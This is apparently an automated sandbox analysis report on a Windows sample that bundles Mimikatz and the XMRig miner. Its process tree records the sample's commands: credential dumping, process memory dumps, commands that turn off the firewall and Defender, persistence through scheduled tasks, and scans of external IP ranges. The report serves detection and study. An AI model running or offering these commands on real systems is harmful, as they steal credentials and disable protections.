Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/08/2024, 07:02

General

  • Target
    6e21507a371cfdcd43f06d7563afa9d0N.exe
  • Size 6.8MB
  • Sample240802-htvdkascpp
  • SHA256 37326134c86814ca68605f00988671d9dc56091b0082946f262643ef83274607
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (14385) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 9 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 5 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 26 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 39 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:2164
      • C:\Windows\TEMP\qhicbfrpg\hifrqs.exe
        "C:\Windows\TEMP\qhicbfrpg\hifrqs.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4596
    • C:\Users\Admin\AppData\Local\Temp\6e21507a371cfdcd43f06d7563afa9d0N.exe
      "C:\Users\Admin\AppData\Local\Temp\6e21507a371cfdcd43f06d7563afa9d0N.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3136
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\kfqsrbhr\qjyiybe.exe
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2996
        • C:\Windows\kfqsrbhr\qjyiybe.exe
          C:\Windows\kfqsrbhr\qjyiybe.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:3612
    • C:\Windows\kfqsrbhr\qjyiybe.exe
      C:\Windows\kfqsrbhr\qjyiybe.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1192
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1164
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4132
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:4376
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
            3⤵
            • System Location Discovery: System Language Discovery
            PID:876
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4968
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
            3⤵
            • System Location Discovery: System Language Discovery
            PID:3112
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static del all
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:3232
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add policy name=Bastards description=FuckingBastards
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:2288
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add filteraction name=BastardsList action=block
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:2932
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Windows\szlnqtttb\nsrrqrtgu\wpcap.exe /S
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4920
          • C:\Windows\szlnqtttb\nsrrqrtgu\wpcap.exe
            C:\Windows\szlnqtttb\nsrrqrtgu\wpcap.exe /S
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4808
            • C:\Windows\SysWOW64\net.exe
              net stop "Boundary Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:388
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "Boundary Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:4124
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:744
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "TrueSight Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:1008
            • C:\Windows\SysWOW64\net.exe
              net stop npf
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4428
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop npf
                5⤵
                • System Location Discovery: System Language Discovery
                PID:324
            • C:\Windows\SysWOW64\net.exe
              net start npf
              4⤵
                PID:2604
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:4404
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
              PID:4416
              • C:\Windows\SysWOW64\net.exe
                net start npf
                3⤵
                • System Location Discovery: System Language Discovery
                PID:4800
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:704
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
                PID:4868
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:4612
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:3780
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c C:\Windows\szlnqtttb\nsrrqrtgu\acrtghepr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\szlnqtttb\nsrrqrtgu\Scant.txt
                2⤵
                  PID:1368
                  • C:\Windows\szlnqtttb\nsrrqrtgu\acrtghepr.exe
                    C:\Windows\szlnqtttb\nsrrqrtgu\acrtghepr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\szlnqtttb\nsrrqrtgu\Scant.txt
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    PID:4472
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c C:\Windows\szlnqtttb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\szlnqtttb\Corporate\log.txt
                  2⤵
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  PID:3528
                  • C:\Windows\szlnqtttb\Corporate\vfshost.exe
                    C:\Windows\szlnqtttb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:220
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tfqslbapq" /ru system /tr "cmd /c C:\Windows\ime\qjyiybe.exe"
                  2⤵
                    PID:816
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4856
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "tfqslbapq" /ru system /tr "cmd /c C:\Windows\ime\qjyiybe.exe"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      • Scheduled Task/Job: Scheduled Task
                      PID:2408
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "rbuknnesu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\kfqsrbhr\qjyiybe.exe /p everyone:F"
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:5104
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                        PID:548
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /sc minute /mo 1 /tn "rbuknnesu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\kfqsrbhr\qjyiybe.exe /p everyone:F"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:3232
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "festwvqby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qhicbfrpg\hifrqs.exe /p everyone:F"
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:3236
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:1508
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /sc minute /mo 1 /tn "festwvqby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qhicbfrpg\hifrqs.exe /p everyone:F"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:1432
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:4972
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:2508
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:1152
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static set policy name=Bastards assign=y
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:4356
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:3328
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:4792
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:2424
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static set policy name=Bastards assign=y
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:1736
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:4124
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:4584
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:3932
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static set policy name=Bastards assign=y
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:4036
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net stop SharedAccess
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:2540
                      • C:\Windows\SysWOW64\net.exe
                        net stop SharedAccess
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:4156
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop SharedAccess
                          4⤵
                            PID:1560
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c netsh firewall set opmode mode=disable
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:3924
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh firewall set opmode mode=disable
                          3⤵
                          • Modifies Windows Firewall
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:3004
                      • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                        C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 800 C:\Windows\TEMP\szlnqtttb\800.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4452
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c netsh Advfirewall set allprofiles state off
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:784
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh Advfirewall set allprofiles state off
                          3⤵
                          • Modifies Windows Firewall
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:2352
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c net stop MpsSvc
                        2⤵
                          PID:4444
                          • C:\Windows\SysWOW64\net.exe
                            net stop MpsSvc
                            3⤵
                              PID:888
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop MpsSvc
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:1792
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net stop WinDefend
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:1884
                            • C:\Windows\SysWOW64\net.exe
                              net stop WinDefend
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:2560
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop WinDefend
                                4⤵
                                  PID:3156
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c net stop wuauserv
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:2696
                              • C:\Windows\SysWOW64\net.exe
                                net stop wuauserv
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:3528
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop wuauserv
                                  4⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:548
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config MpsSvc start= disabled
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:2044
                              • C:\Windows\SysWOW64\sc.exe
                                sc config MpsSvc start= disabled
                                3⤵
                                • Launches sc.exe
                                PID:5104
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config SharedAccess start= disabled
                              2⤵
                                PID:3640
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config SharedAccess start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:1580
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config WinDefend start= disabled
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:1700
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config WinDefend start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:2036
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config wuauserv start= disabled
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:1380
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config wuauserv start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:432
                              • C:\Windows\TEMP\xohudmc.exe
                                C:\Windows\TEMP\xohudmc.exe
                                2⤵
                                • Executes dropped EXE
                                • Drops file in System32 directory
                                • Suspicious use of SetWindowsHookEx
                                PID:2244
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 384 C:\Windows\TEMP\szlnqtttb\384.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2592
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 2164 C:\Windows\TEMP\szlnqtttb\2164.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3516
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 2668 C:\Windows\TEMP\szlnqtttb\2668.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1628
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 2792 C:\Windows\TEMP\szlnqtttb\2792.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4860
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 2828 C:\Windows\TEMP\szlnqtttb\2828.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3136
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 3064 C:\Windows\TEMP\szlnqtttb\3064.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4000
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 3784 C:\Windows\TEMP\szlnqtttb\3784.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3232
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 3880 C:\Windows\TEMP\szlnqtttb\3880.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3236
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 3940 C:\Windows\TEMP\szlnqtttb\3940.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4856
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 4072 C:\Windows\TEMP\szlnqtttb\4072.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4444
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 2660 C:\Windows\TEMP\szlnqtttb\2660.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1980
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 4484 C:\Windows\TEMP\szlnqtttb\4484.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4012
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 2128 C:\Windows\TEMP\szlnqtttb\2128.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2728
                              • C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe
                                C:\Windows\TEMP\szlnqtttb\pncfsyeys.exe -accepteula -mp 4480 C:\Windows\TEMP\szlnqtttb\4480.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2840
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c C:\Windows\szlnqtttb\nsrrqrtgu\scan.bat
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:2076
                                • C:\Windows\szlnqtttb\nsrrqrtgu\brqprlqns.exe
                                  brqprlqns.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
                                  3⤵
                                  • Executes dropped EXE
                                  • Drops file in Windows directory
                                  • System Location Discovery: System Language Discovery
                                  PID:4104
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                2⤵
                                  PID:3528
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                    3⤵
                                      PID:2844
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                      3⤵
                                        PID:3460
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:640
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:3560
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:1856
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:5040
                                  • C:\Windows\SysWOW64\zefhau.exe
                                    C:\Windows\SysWOW64\zefhau.exe
                                    1⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4568
                                  • C:\Windows\system32\cmd.EXE
                                    C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qhicbfrpg\hifrqs.exe /p everyone:F
                                    1⤵
                                      PID:2516
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        2⤵
                                          PID:1540
                                        • C:\Windows\system32\cacls.exe
                                          cacls C:\Windows\TEMP\qhicbfrpg\hifrqs.exe /p everyone:F
                                          2⤵
                                            PID:2472
                                        • C:\Windows\system32\cmd.EXE
                                          C:\Windows\system32\cmd.EXE /c C:\Windows\ime\qjyiybe.exe
                                          1⤵
                                            PID:2968
                                            • C:\Windows\ime\qjyiybe.exe
                                              C:\Windows\ime\qjyiybe.exe
                                              2⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetWindowsHookEx
                                              PID:2412
                                          • C:\Windows\system32\cmd.EXE
                                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\kfqsrbhr\qjyiybe.exe /p everyone:F
                                            1⤵
                                              PID:4328
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                2⤵
                                                  PID:3460
                                                • C:\Windows\system32\cacls.exe
                                                  cacls C:\Windows\kfqsrbhr\qjyiybe.exe /p everyone:F
                                                  2⤵
                                                    PID:2632
                                                • C:\Windows\system32\cmd.EXE
                                                  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\qjyiybe.exe
                                                  1⤵
                                                    PID:4528
                                                    • C:\Windows\ime\qjyiybe.exe
                                                      C:\Windows\ime\qjyiybe.exe
                                                      2⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:3632
                                                  • C:\Windows\system32\cmd.EXE
                                                    C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qhicbfrpg\hifrqs.exe /p everyone:F
                                                    1⤵
                                                      PID:1976
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                        2⤵
                                                          PID:1680
                                                        • C:\Windows\system32\cacls.exe
                                                          cacls C:\Windows\TEMP\qhicbfrpg\hifrqs.exe /p everyone:F
                                                          2⤵
                                                            PID:4828
                                                        • C:\Windows\system32\cmd.EXE
                                                          C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\kfqsrbhr\qjyiybe.exe /p everyone:F
                                                          1⤵
                                                            PID:4920
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                              2⤵
                                                                PID:4312
                                                              • C:\Windows\system32\cacls.exe
                                                                cacls C:\Windows\kfqsrbhr\qjyiybe.exe /p everyone:F
